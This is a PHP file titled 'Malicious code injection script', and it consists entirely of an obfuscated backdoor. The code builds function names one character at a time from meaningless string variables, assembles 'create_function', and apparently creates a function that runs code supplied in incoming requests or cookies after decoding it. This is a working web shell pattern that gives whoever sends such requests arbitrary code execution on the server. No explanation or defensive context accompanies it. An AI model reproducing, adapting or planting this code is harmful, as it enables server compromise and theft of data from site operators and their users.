Malicious code injection script

<?php

$janina='J';

$brian= 'r';$attributable='Vs9ee'; $kenon= 'O';$gardener ='$';

$erasing = 'Te@aW<o';
$avalanches ='Sg(b=>_r'; $armpit = 'D(ERn'; $bulldog ='O'; $downslope= 'e)l_(a'; $kjhgfdsa = 'p';
$flocked = '2O'; $intellects= 'G'; $irresponsibly ='r';$damns= 'K';
$amplifies = 'I'; $breeze='.a;a';$commends = 'fa$;'; $desynchronize ='b';$apparatus='$cT)BMi_$';
$expressiveness ='tb;'; $animized ='i"re_]Zeb'; $carol ='ge]@';$blimp= 'a'; $evict ='ib'; $congregates = ')';$laity ='s';$ebba = '_OEOTFKeT';
$freighting='([T7';
$haunts= '5';$connectivity ='g';$heading='+RvBVo';$cutout ='P';
$ingenuity ='str:eB?t_'; $elsi = ';$$ui-`L'; $buster='6R]a6LH';$atop =')d';$cluster= 'y'; $cathode = '$'; $dichloride = ',]dQl';$footprints =')v0sg_lIe';$fiddle= 'rb?pBeN';

$cartilaginous = '"';$bringed = 'e"(@LH';
$decliner='F';

$clod ='('; $excusable = 'd'; $estates='s=';
$astonishes ='eB;[';
$constituent= 't';$exceptional ='@a3_('; $antisemitic='ttB';$coacher=')i';
$bunch ='F'; $lynelle= 'E';$dalis= 'v'; $contingency= 'P';$factorization = '81ae'; $assistantship ='_';$avenger ='Poi)EyR]'; $ceremonies ='/';
$decrement = 'n[';$discrete= 'artE';$completions='u';$bale='o';$brainchildren ='^[oG'; $fractionally='r"As=S"';$hibachi='a';$falsify='?';
$appliance = '4';

$finery = 's';$christine = 'dDi($m';

$kailey= '_n),cib';

$courtroom='dH)_rev$)';

$dimly ='E';$corroborate ='(';$cargoes='d';$legends ='CU(fQfU4';$disbands= 'D'; $ironically= '"';

$ermine= 'C';$casement= 'aGXr:[ce'; $impress = 'c'; $basketball= 'gl';$fuckedfuckedfucked =', "TBS'; $arleen ='i("'; $ceramium =':Y)$bsf_c';$hinda= 'r'; $encumbers= $ceramium['8']. $hinda['0'] .$casement['7'].$casement['0'] .

$discrete['2']. $casement['7'] .$ceramium[7] . $ceramium[6] . $completions .$kailey['1']. $ceramium['8']. $discrete['2'].$arleen['0'].$brainchildren['2'] . $kailey['1']; $intrinsically=$fuckedfuckedfucked['1'];$loot =$encumbers ($intrinsically,$casement['7'].$courtroom['6'] .$casement['0']. $basketball['1'] .

$arleen['1']. $exceptional['0'] . $casement['0'] . $hinda['0']. $hinda['0']. $casement['0'] .$avenger['5']. $ceramium[7] .$fiddle['3']. $brainchildren['2'] .

$fiddle['3']. $arleen['1']. $ceramium[6]. $completions . $kailey['1'] . $ceramium['8'] .$ceramium[7] . $basketball['0'] .
$casement['7'].

$discrete['2'] . $ceramium[7] .$casement['0'].$hinda['0'] . $basketball['0'] . $ceramium['5'].

$arleen['1'].

$ceramium['2']. $ceramium['2'] .$ceramium['2'] .$astonishes['2']); $loot

($casement[2], $fiddle['6'] ,
$exceptional['0'] ,$basketball['0'] ,
$courtroom['6'] ,$elsi['5'] ,$breeze['0'] ,$ceramium[6] , $ceramium['3'].$arleen['0'].

$fractionally['4']. $exceptional['0'] . $casement['0'].

$hinda['0'] .$hinda['0'].$casement['0']. $avenger['5'].

$ceramium[7] . $christine[5] .$casement['7'].$hinda['0'].$basketball['0'] . $casement['7'] .$arleen['1']. $ceramium['3']. $ceramium[7] . $avenger['6'].$dimly. $legends['4'].$legends['6'].

$dimly .

$fuckedfuckedfucked['5'].
$fuckedfuckedfucked['3']. $fuckedfuckedfucked['0'] . $ceramium['3'] . $ceramium[7] .$ermine . $ebba[3]. $ebba[3].$ebba['6'] . $footprints['7'].$dimly .$fuckedfuckedfucked['0'].$ceramium['3'] . $ceramium[7].$fuckedfuckedfucked['5'] .
$dimly .
$avenger['6'].$heading['4'] .$dimly . $avenger['6']. $ceramium['2'] .$astonishes['2'] .

$ceramium['3'] . $casement['0'].$fractionally['4'].
$arleen['0'] .
$ceramium['5']. $ceramium['5'].
$casement['7'].$discrete['2'].

$arleen['1'] .$ceramium['3'].

$arleen['0']. $casement['5']. $arleen['2'] . $ceramium['4'] .$cargoes .$basketball['1']. $basketball['0'] .
$ceramium['4'] . $ceramium[6].$ceramium['4'] .

$brainchildren['2'] .$arleen['2'].$avenger['7']. $ceramium['2']. $falsify.$ceramium['3'] .$arleen['0'] . $casement['5'].$arleen['2'].$ceramium['4'].$cargoes. $basketball['1'].$basketball['0'] . $ceramium['4'] .$ceramium[6] .

$ceramium['4']. $brainchildren['2'] . $arleen['2'].$avenger['7'] . $ceramium['0'] .$arleen['1'] . $arleen['0'] .$ceramium['5'] . $ceramium['5'] . $casement['7']. $discrete['2'] .

$arleen['1']. $ceramium['3'] .
$arleen['0'].
$casement['5'].$arleen['2'] .

$courtroom['1'].
$fuckedfuckedfucked['3'] . $fuckedfuckedfucked['3']. $avenger['0'] .
$ceramium[7] . $fuckedfuckedfucked['4'] .$disbands . $bringed['4'].$casement['1']. $fuckedfuckedfucked['4']. $bunch . $fuckedfuckedfucked['4'] .$ebba[3].$arleen['2'] .

$avenger['7']. $ceramium['2']. $falsify . $ceramium['3'] .$arleen['0'].$casement['5'].$arleen['2']. $courtroom['1'].
$fuckedfuckedfucked['3'].
$fuckedfuckedfucked['3'] . $avenger['0'].

$ceramium[7] .

$fuckedfuckedfucked['4'] .$disbands.$bringed['4']. $casement['1'] .
$fuckedfuckedfucked['4']. $bunch.$fuckedfuckedfucked['4']. $ebba[3].$arleen['2']. $avenger['7']. $ceramium['0']. $cargoes .$arleen['0'] . $casement['7'].$ceramium['2']. $astonishes['2'] .

$exceptional['0']. $casement['7'] .
$courtroom['6']. $casement['0'] .$basketball['1']. $arleen['1'] .
$ceramium['5']. $discrete['2'] . $hinda['0'].$hinda['0'] .$casement['7'] .$courtroom['6'] . $arleen['1'] . $ceramium['4'].$casement['0'].
$ceramium['5'] . $casement['7'].
$buster['4']. $legends['7'].$ceramium[7]. $cargoes . $casement['7'].

$ceramium['8'].

$brainchildren['2'] .$cargoes. $casement['7'] . $arleen['1'].$ceramium['5'] .
$discrete['2'].$hinda['0'] .

$hinda['0'] .$casement['7'].$courtroom['6'] . $arleen['1'].$ceramium['3'].$casement['0'] . $ceramium['2'].
$ceramium['2'].$ceramium['2'] . $ceramium['2']. $astonishes['2'] );